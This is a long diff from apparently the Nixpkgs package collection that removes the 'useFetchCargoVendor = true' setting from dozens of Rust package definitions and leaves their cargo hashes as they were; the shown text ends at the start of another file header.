--- a/pkgs/by-name/co/cosmic-store/package.nix
+++ b/pkgs/by-name/co/cosmic-store/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-skNzkpcdGJkve7enlnnZxYxnScHFmyaCAy0xaMEEsE0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2iWJFPSvNQ6JwQwzowKYbgjog2gsjOUlReai/j0d3Do=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-term/package.nix b/pkgs/by-name/co/cosmic-term/package.nix
index 419e5cc65288..af9742b1a173 100644
--- a/pkgs/by-name/co/cosmic-term/package.nix
+++ b/pkgs/by-name/co/cosmic-term/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-leCKdnlevfLiPJkloWCpOjkHaSf7+EYdobZRZ/Jis+4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Re9t25tkwmrvXB9GmPSVG+QDUZmk5rwrrY2ntlB3Tdw=";
 
   # COSMIC applications now uses vergen for the About page
diff --git a/pkgs/by-name/co/cosmic-workspaces-epoch/package.nix b/pkgs/by-name/co/cosmic-workspaces-epoch/package.nix
index f639ddda00ae..2c080858c52b 100644
--- a/pkgs/by-name/co/cosmic-workspaces-epoch/package.nix
+++ b/pkgs/by-name/co/cosmic-workspaces-epoch/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-d7KYZbq8O/t5V/gU+wwstp06vyfnmt6vRKo+54Dct+o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TjgnPuFUIDtxx9kpvN9hKiir3/ZVtCc0z1CE4UHre1Q=";
 
   separateDebugInfo = true;
diff --git a/pkgs/by-name/co/cotp/package.nix b/pkgs/by-name/co/cotp/package.nix
index 6b41c6d5496f..cc1c04d76e35 100644
--- a/pkgs/by-name/co/cotp/package.nix
+++ b/pkgs/by-name/co/cotp/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-O9qss8vxsGyBWaCTt3trjnFVol5ib/G7IZIj742A/XI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Y8kGOeDKjdG+5zuA1mDx4h5IbKETjZU+SiFWiUv3xkw=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ libxcb ];
diff --git a/pkgs/by-name/co/cotton/package.nix b/pkgs/by-name/co/cotton/package.nix
index 87f20b1acff4..316dd23f6215 100644
--- a/pkgs/by-name/co/cotton/package.nix
+++ b/pkgs/by-name/co/cotton/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-ZMQaVMH8cuOb4PQ19g0pAFAMwP8bR60+eWFhiXk1bYE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-y162tjxPGZQiYBJxFk4QN9ZqSH8jrqa5Y961Sx2zrRs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/co/couchbase-shell/package.nix b/pkgs/by-name/co/couchbase-shell/package.nix
index d765aeeea45c..6c7aa05dcbe9 100644
--- a/pkgs/by-name/co/couchbase-shell/package.nix
+++ b/pkgs/by-name/co/couchbase-shell/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wqOU94rPqIO128uL9iyVzWcAgqnDUPUy1+Qq1hSkvHA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tlVOro9u4ypgJ5yqjEzjfvrGXVCYe6DN6bg/3NhipR4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/countryfetch/package.nix b/pkgs/by-name/co/countryfetch/package.nix
index 007d8ca7cb14..16b5763fb051 100644
--- a/pkgs/by-name/co/countryfetch/package.nix
+++ b/pkgs/by-name/co/countryfetch/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-povKd1Y/2Mi+6yJd9+RsJ4F19/wvXvBOK2Jgbs4UnP0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0ZBhRheJGapPqVieXbIpoboVV4RLXan042u5SSgrYQk=";
 
   env = {
diff --git a/pkgs/by-name/cr/crab-hole/package.nix b/pkgs/by-name/cr/crab-hole/package.nix
index e056da8b0f08..a9b14299410e 100644
--- a/pkgs/by-name/cr/crab-hole/package.nix
+++ b/pkgs/by-name/cr/crab-hole/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-HJQpzUdvjGhZnH5+qlgaekDpqSUmOhR30VPzg1lZIl0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eAVsursZ19H9xyuiClQmGcqh343JP5eKfBkxXrXlM3I=";
 
   meta = {
diff --git a/pkgs/by-name/cr/crabz/package.nix b/pkgs/by-name/cr/crabz/package.nix
index 5a8c587433fc..ad59cad3e7a7 100644
--- a/pkgs/by-name/cr/crabz/package.nix
+++ b/pkgs/by-name/cr/crabz/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-GJHxo4WD/XMudwxOHdNwY1M+b/DFJMpU0uD3sOvO5YU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JzzDkbDVL6az6b/s640KikSNJCwv8hf0aFcmGnvYQu4=";
 
   nativeBuildInputs = [ cmake ];
diff --git a/pkgs/by-name/cr/crate2nix/package.nix b/pkgs/by-name/cr/crate2nix/package.nix
index a03e6acf44bb..08a997ff7bc2 100644
--- a/pkgs/by-name/cr/crate2nix/package.nix
+++ b/pkgs/by-name/cr/crate2nix/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/crate2nix";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Du6RAe4Ax3KK90h6pQEtF75Wdniz+IqF2/TXHA9Ytbw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/cr/crates-tui/package.nix b/pkgs/by-name/cr/crates-tui/package.nix
index 8037259b6f85..f601887ddc7f 100644
--- a/pkgs/by-name/cr/crates-tui/package.nix
+++ b/pkgs/by-name/cr/crates-tui/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-XQ19hfaCm7Ib9gPqu9mlmf3b8HgoyxLuBApaPeW53pI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cGpmiUtMP/rM+712Un8GEQ51gb12maopKn0o0GTQf7M=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/cr/cringify/package.nix b/pkgs/by-name/cr/cringify/package.nix
index e85ecbe82e3c..12340b4ea188 100644
--- a/pkgs/by-name/cr/cringify/package.nix
+++ b/pkgs/by-name/cr/cringify/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-U0tKYFRZToMALSeItn9yia7Dl7omETDTkuRlWJ8EZEo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VUMVul3P2GRwihTilVpcEb+A5pJaHxlzkwa3uq+pHtY=";
 
   postPatch = ''
diff --git a/pkgs/by-name/cr/critcmp/package.nix b/pkgs/by-name/cr/critcmp/package.nix
index 5c85eaa6b4ee..a45dab6a1837 100644
--- a/pkgs/by-name/cr/critcmp/package.nix
+++ b/pkgs/by-name/cr/critcmp/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cf78R9siH0RFbx+vXTs71VblpsQokL6Uo32N3X4lV2I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wpfv6mebFPvL+9UkggRRH3fPOeGslORzxtN0q/KKOsw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cr/crosvm/package.nix b/pkgs/by-name/cr/crosvm/package.nix
index 2a9b2c75b167..4bcd2788ffeb 100644
--- a/pkgs/by-name/cr/crosvm/package.nix
+++ b/pkgs/by-name/cr/crosvm/package.nix
@@ -32,7 +32,6 @@ rustPlatform.buildRustPackage {
 
   separateDebugInfo = true;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-23F0WU//4xvP9xffxr+cQa0m0sSJjcWyz+usKBpDg20=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/cr/crusader/package.nix b/pkgs/by-name/cr/crusader/package.nix
index 47f2dd413487..db8a5e5ec3d5 100644
--- a/pkgs/by-name/cr/crusader/package.nix
+++ b/pkgs/by-name/cr/crusader/package.nix
@@ -33,7 +33,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/src";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-f0TWiRX203/gNsa9UEr/1Bv+kUxLAK/Zlw+S693xZlE=";
 
   # autoPatchelfHook required on linux for crusader-gui
diff --git a/pkgs/by-name/cs/csv-tui/package.nix b/pkgs/by-name/cs/csv-tui/package.nix
index d851ee8aed69..801eb784a1e4 100644
--- a/pkgs/by-name/cs/csv-tui/package.nix
+++ b/pkgs/by-name/cs/csv-tui/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T8T9fW4E/wigktSomoc+xPkVqX5T3OnTmL4XIT5YXe8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bc/7wt7P7v5VJv2Jh/ct9/N4xHdVWshRl+maD2LBSG0=";
 
   meta = {
diff --git a/pkgs/by-name/cs/csv2parquet/package.nix b/pkgs/by-name/cs/csv2parquet/package.nix
index 9701b177393b..09a301c9921b 100644
--- a/pkgs/by-name/cs/csv2parquet/package.nix
+++ b/pkgs/by-name/cs/csv2parquet/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-499DC0kLvvP5Oq2WYRb9BIppTdfm41u8hwrPU8b66Zw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hZ4qdaR3dvcBBvZqfMQVk4hryhxfeAszv56WPNVhQiY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cs/csv2svg/package.nix b/pkgs/by-name/cs/csv2svg/package.nix
index 8d8ecd52019d..d197451b68fc 100644
--- a/pkgs/by-name/cs/csv2svg/package.nix
+++ b/pkgs/by-name/cs/csv2svg/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3VebLFkeJLK97jqoPXt4Wt6QTR0Zyu+eQV9oaLBSeHE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RwpRxSD/oRAYD1udrHt3fy/SrrNUTVdGf+CdzQnJZ2U=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cs/csview/package.nix b/pkgs/by-name/cs/csview/package.nix
index c23c56c8f2f4..f937579fe02f 100644
--- a/pkgs/by-name/cs/csview/package.nix
+++ b/pkgs/by-name/cs/csview/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-JFuqaGwCSfEIncBgLu6gGaOvAC5vojKFjruWcuSghS0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CXIfE1EsNwm4vsybQSdfKewBYpzBh+uQu1jYAm8DDtI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cs/csvlens/package.nix b/pkgs/by-name/cs/csvlens/package.nix
index eeff5047f1b8..8b291f0cfed3 100644
--- a/pkgs/by-name/cs/csvlens/package.nix
+++ b/pkgs/by-name/cs/csvlens/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lr1pqFodqgsKHRFGonXj0nG4elomiSMETulBdCLMR3w=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/cw/cwe-client-cli/package.nix b/pkgs/by-name/cw/cwe-client-cli/package.nix
index 65977be759bf..a9f12ce76e4c 100644
--- a/pkgs/by-name/cw/cwe-client-cli/package.nix
+++ b/pkgs/by-name/cw/cwe-client-cli/package.nix
@@ -22,7 +22,7 @@ rustPlatform.buildRustPackage rec {
     dbus
     openssl_3
   ];
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-ml6anuAJru2zVIHNf/z4gdQjplRrXL4FO44cxfaDRns=";
 
   meta = {
diff --git a/pkgs/by-name/cy/cyme/package.nix b/pkgs/by-name/cy/cyme/package.nix
index 41b3d4ec85f3..cc48374e8bbc 100644
--- a/pkgs/by-name/cy/cyme/package.nix
+++ b/pkgs/by-name/cy/cyme/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-asg8ATzM2cwh+crnzqjWMsee1I9BPm9an8d3lzj6yS4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DFAlFEJfR6jUplQ50AK4SszdBIw0jbxFRgYNHg3sN8c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/cz/czkawka/package.nix b/pkgs/by-name/cz/czkawka/package.nix
index 37804ca9e831..85cc9ee7c15f 100644
--- a/pkgs/by-name/cz/czkawka/package.nix
+++ b/pkgs/by-name/cz/czkawka/package.nix
@@ -30,7 +30,6 @@ let
       hash = "sha256-ePiHDfQ1QC3nff8uWE0ggiTuulBomuoZ3ta0redUYXY=";
     };
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-Djvb5Hen6XPm6aJuwa6cGPojz9+kXXidysr3URDwDFM=";
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/da/dabet/package.nix b/pkgs/by-name/da/dabet/package.nix
index 34f817ef2efb..6d0f685b42e4 100644
--- a/pkgs/by-name/da/dabet/package.nix
+++ b/pkgs/by-name/da/dabet/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BYE+GGwf84zENf+lPS98OzZQbXxd7kykWL+B3guyVNI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2ixdugxgc6lyLd06BeXxlrSqpVGJJ9SkFKwnAsol7V4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/da/daktilo/package.nix b/pkgs/by-name/da/daktilo/package.nix
index 2fcd06953ac4..ffd0e8b135dc 100644
--- a/pkgs/by-name/da/daktilo/package.nix
+++ b/pkgs/by-name/da/daktilo/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gIBWonJGX6IpxyBeMulcfQEExsG1GrBVQLZbBBA1ruc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MV2XvBtVQyxu2PVCgE+5C9EBec11JwYgyeoyg29C7Ig=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/da/darklua/package.nix b/pkgs/by-name/da/darklua/package.nix
index 666bc7ba60d5..2289c4330d3d 100644
--- a/pkgs/by-name/da/darklua/package.nix
+++ b/pkgs/by-name/da/darklua/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-D83cLJ6voLvgZ51qLoCUzBG83VFB3Y7HxuaZHpaiOn4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DQkj4t+l6FJnJQ+g96CXypssbRzHbS6X9AOG0LGDclg=";
 
   # error: linker `aarch64-linux-gnu-gcc` not found
diff --git a/pkgs/by-name/da/dash-mpd-cli/package.nix b/pkgs/by-name/da/dash-mpd-cli/package.nix
index 37d5168f8741..d57e831e9dff 100644
--- a/pkgs/by-name/da/dash-mpd-cli/package.nix
+++ b/pkgs/by-name/da/dash-mpd-cli/package.nix
@@ -38,7 +38,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ./use-shaka-by-default.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qy8X9DoBD5MIUQ6akalqtyasst0ZKJJLZTEz+6Hp6EI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/da/datafusion-cli/package.nix b/pkgs/by-name/da/datafusion-cli/package.nix
index 18d1735c31d9..2904db90dcf3 100644
--- a/pkgs/by-name/da/datafusion-cli/package.nix
+++ b/pkgs/by-name/da/datafusion-cli/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-IKG0sLF5LAS2Tch3hdzsGHwAf2k43aVvMo1a29pxza0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kl2+cVQhEkRsQWO8w3WEtXAoVIqj3s3IcbRBn175yxg=";
 
   buildAndTestSubdir = "datafusion-cli";
diff --git a/pkgs/by-name/dd/ddh/package.nix b/pkgs/by-name/dd/ddh/package.nix
index 1f8c86ee663a..cae3407d21c5 100644
--- a/pkgs/by-name/dd/ddh/package.nix
+++ b/pkgs/by-name/dd/ddh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "XFfTpX4c821pcTAJZFUjdqM940fRoBwkJC6KTknXtCw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rl9+3JSFkqZwaIWCuZBDhDF0QBr+aB2I7kB1o9LWCEw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/de/deadnix/package.nix b/pkgs/by-name/de/deadnix/package.nix
index 3382c7264172..b58824611859 100644
--- a/pkgs/by-name/de/deadnix/package.nix
+++ b/pkgs/by-name/de/deadnix/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xaaXGzTd+t1GjD2KpiS/c8acv6bXufv/lTN+ACRGVJw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-unp5W2vatSS58O+nEAVsVBN99hgYRVc1OkD2vVandw0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/de/deepfilternet/package.nix b/pkgs/by-name/de/deepfilternet/package.nix
index 71d0e0c9f645..e14fdfa7ecf1 100644
--- a/pkgs/by-name/de/deepfilternet/package.nix
+++ b/pkgs/by-name/de/deepfilternet/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     ./cargo-lock-bump-time.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-I0hY2WmaHu/HKQJHyZp0C6wIi0++w5dFeExVMyhInJY=";
 
   # only the ladspa plugin part has been packaged so far...
diff --git a/pkgs/by-name/de/delta/package.nix b/pkgs/by-name/de/delta/package.nix
index d865260207f5..9e0afdc3406b 100644
--- a/pkgs/by-name/de/delta/package.nix
+++ b/pkgs/by-name/de/delta/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fJSKGa935kwLG8WYmT9Ncg2ozpSNMzUJx0WLo1gtVAA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qF55A1CENoHu3LBtNRc/n2PKYxMls7pdn2d56Mp18Qs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/de/deno/package.nix b/pkgs/by-name/de/deno/package.nix
index fe275e23d42a..172255257771 100644
--- a/pkgs/by-name/de/deno/package.nix
+++ b/pkgs/by-name/de/deno/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-/5KCwWyPdx/OKjoKgHZ8BAih7dh21VrbC+N1U74B/KI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3I1yplJjVH7Mf2wjwk8qSdbHTcR20QSJGF9MHtnu+q8=";
 
   postPatch = ''
diff --git a/pkgs/by-name/de/deqp-runner/package.nix b/pkgs/by-name/de/deqp-runner/package.nix
index ad8557f463ca..d099847a8d7d 100644
--- a/pkgs/by-name/de/deqp-runner/package.nix
+++ b/pkgs/by-name/de/deqp-runner/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5ngyONV7X3JyU0Kd7VE8XGgsAMb9OCSrZuAuFIbQjgs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rVYRbaj+9nFVyo9Zjdmd5t7CoFfxtntXIW2bWp2L7DE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/de/desed/package.nix b/pkgs/by-name/de/desed/package.nix
index a78ec7a73f42..ba01f5b123e4 100644
--- a/pkgs/by-name/de/desed/package.nix
+++ b/pkgs/by-name/de/desed/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aKkOs8IhnHjoJkXq9ryGn9fN0AmZyVTHbD/Vano+Erw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1vNs+viEPqmfA8AtFQaGcQwlLAbIBMHd8uMFmqm60eg=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/de/desk-exec/package.nix b/pkgs/by-name/de/desk-exec/package.nix
index e0e2793ed9a9..c83919364076 100644
--- a/pkgs/by-name/de/desk-exec/package.nix
+++ b/pkgs/by-name/de/desk-exec/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bJLdd07IAf+ba++vtS0iSmeQSGygwSVNry2bHTDAgjE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lwc+zth4qCynErG3ldUnu/lX4NfZfxn+XDzJA/kp7S4=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/de/desktop-postflop/package.nix b/pkgs/by-name/de/desktop-postflop/package.nix
index 0aa7d96ce5f7..4e400c9a3e1e 100644
--- a/pkgs/by-name/de/desktop-postflop/package.nix
+++ b/pkgs/by-name/de/desktop-postflop/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pMvh2Rr+rMe0nMB9yRDrGatrS36+VM7os0eeBR31oCM=";
 
   postPatch = ''
diff --git a/pkgs/by-name/de/devenv/package.nix b/pkgs/by-name/de/devenv/package.nix
index e6dc131de775..03b67dee3e2b 100644
--- a/pkgs/by-name/de/devenv/package.nix
+++ b/pkgs/by-name/de/devenv/package.nix
@@ -43,7 +43,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-YsSFlVWUu4RSYnObqcBJ4Mr3bJVVhuFhaQAktHytBAI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zJorGAsp5k5oBuXogYqEPVexcNsYCeiTmrQqySd1AGs=";
 
   buildAndTestSubdir = "devenv";
diff --git a/pkgs/by-name/de/dezoomify-rs/package.nix b/pkgs/by-name/de/dezoomify-rs/package.nix
index 01a3eebb0880..b2d37c5ed27e 100644
--- a/pkgs/by-name/de/dezoomify-rs/package.nix
+++ b/pkgs/by-name/de/dezoomify-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uo0QTaAAbNYMidlWBauW+3hdd0snEWH+I5KQL6Vxgug=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v5hlG/VnRyU4lR84IXal5GmrAyfxJTjmwzRKRcfaSIY=";
 
   checkFlags = [
diff --git a/pkgs/by-name/df/dfrs/package.nix b/pkgs/by-name/df/dfrs/package.nix
index a7ec54118952..872d4374d781 100644
--- a/pkgs/by-name/df/dfrs/package.nix
+++ b/pkgs/by-name/df/dfrs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "01h00328kbw83q11yrsvcly69p0hql3kw49b4jx6gwkrdm8c2amk";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-U6z0YMHRmjGobLYdyBaMWJam9mDrHUQEOv5MjOpNfHU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/dh/dhcpm/package.nix b/pkgs/by-name/dh/dhcpm/package.nix
index d95eda1f899e..30b308595ae7 100644
--- a/pkgs/by-name/dh/dhcpm/package.nix
+++ b/pkgs/by-name/dh/dhcpm/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vjKN9arR6Os3pgG89qmHt/0Ds5ToO38tLsQBay6VEIk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L6+/buzhYoLdFh7x8EmT37JyY5Pr7oFzyOGbhvgNvlw=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/di/didu/package.nix b/pkgs/by-name/di/didu/package.nix
index 52c85d28854d..1254ac3debec 100644
--- a/pkgs/by-name/di/didu/package.nix
+++ b/pkgs/by-name/di/didu/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "szYWRN1NZbfpshipwMMJSWJw/NG4w7I+aqwtmqpT0R0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NDri4VuTI/ZsY3ZvpWmu/2I5GpmldQaoUSzyjGlq9lE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/di/didyoumean/package.nix b/pkgs/by-name/di/didyoumean/package.nix
index ec6989ed9c54..ca03fc398116 100644
--- a/pkgs/by-name/di/didyoumean/package.nix
+++ b/pkgs/by-name/di/didyoumean/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-PSEoh1OMElFJ8m4er1vBMkQak3JvLjd+oWNWA46cows=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BASM0gBQFuJY2ze9X9HJUkiP4WrOP/inD87bVFraeAY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/di/diesel-cli-ext/package.nix b/pkgs/by-name/di/diesel-cli-ext/package.nix
index 880a80fa678b..4094681b5682 100644
--- a/pkgs/by-name/di/diesel-cli-ext/package.nix
+++ b/pkgs/by-name/di/diesel-cli-ext/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5AIzMxEcxL/vYWx3D/meA///Zo+1210HUMEE4dFBhkc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AvoyJPh59fZPDcOtIZ4UFUgW83szBC3HOOlkxA3VFgE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/di/diesel-cli/package.nix b/pkgs/by-name/di/diesel-cli/package.nix
index 6ebbf22bf84b..0bca3c4a0999 100644
--- a/pkgs/by-name/di/diesel-cli/package.nix
+++ b/pkgs/by-name/di/diesel-cli/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cBufd4HwNffkK2VDPMMUT1qZfgKNa6XKpxT5QlQesyc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CmzUe/R9iFU//u0/FxMonYWyx0EJnI/blUktYN/eNe8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/di/diffedit3/package.nix b/pkgs/by-name/di/diffedit3/package.nix
index 15da490898e1..f9a3a980cbd6 100644
--- a/pkgs/by-name/di/diffedit3/package.nix
+++ b/pkgs/by-name/di/diffedit3/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zBdLz8O2WCR8SN0UXUAaEdIpmmL+LIaGt44STBw6nyU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ao2agqYChyrcrRVOjzKvPHYwmYGabQUVZAUaVBpAFJM=";
 
   passthru = {
diff --git a/pkgs/by-name/di/diffr/package.nix b/pkgs/by-name/di/diffr/package.nix
index a599e8188400..a18568017f96 100644
--- a/pkgs/by-name/di/diffr/package.nix
+++ b/pkgs/by-name/di/diffr/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-ylZE2NtTXbGqsxE72ylEQCacTyxBO+/WgvEpoXd5OZI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pbGfoEk8peWBA0F0EdiAJJtan74O5RD6TmNJUTY2ijA=";
 
   preCheck = ''
diff --git a/pkgs/by-name/di/diffsitter/package.nix b/pkgs/by-name/di/diffsitter/package.nix
index 8af332254fbb..1b571c5b7d17 100644
--- a/pkgs/by-name/di/diffsitter/package.nix
+++ b/pkgs/by-name/di/diffsitter/package.nix
@@ -43,7 +43,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = false;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YgVsWiINzEsmUMAi6ttEtXutwNDJA2viXnV5rGdSSxU=";
 
   buildNoDefaultFeatures = true;
diff --git a/pkgs/by-name/di/difftastic/package.nix b/pkgs/by-name/di/difftastic/package.nix
index 5f51ce0129d0..47a096547fe0 100644
--- a/pkgs/by-name/di/difftastic/package.nix
+++ b/pkgs/by-name/di/difftastic/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-XMvysYO6Kji9cbfGayB6wPVuNp0j2uXLHfZ9H+dBLt0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1u3oUbqhwHXD90ld70pjK2XPJe5hpUbJtU78QpIjAE8=";
 
   # skip flaky tests
diff --git a/pkgs/by-name/di/dijo/package.nix b/pkgs/by-name/di/dijo/package.nix
index bf716c07a46e..2134c1067262 100644
--- a/pkgs/by-name/di/dijo/package.nix
+++ b/pkgs/by-name/di/dijo/package.nix
@@ -15,7 +15,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     sha256 = "sha256-g+A8BJxqoAvm9LTLrLnClVGtFJCQ2gT0mDGAov/6vXE=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-Pny/RBtr65jKu2DdyIrluZWeZIgGb8Ev7mxvTMWPlyI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/di/dim/package.nix b/pkgs/by-name/di/dim/package.nix
index bfef88971d2a..8d0ce02783c1 100644
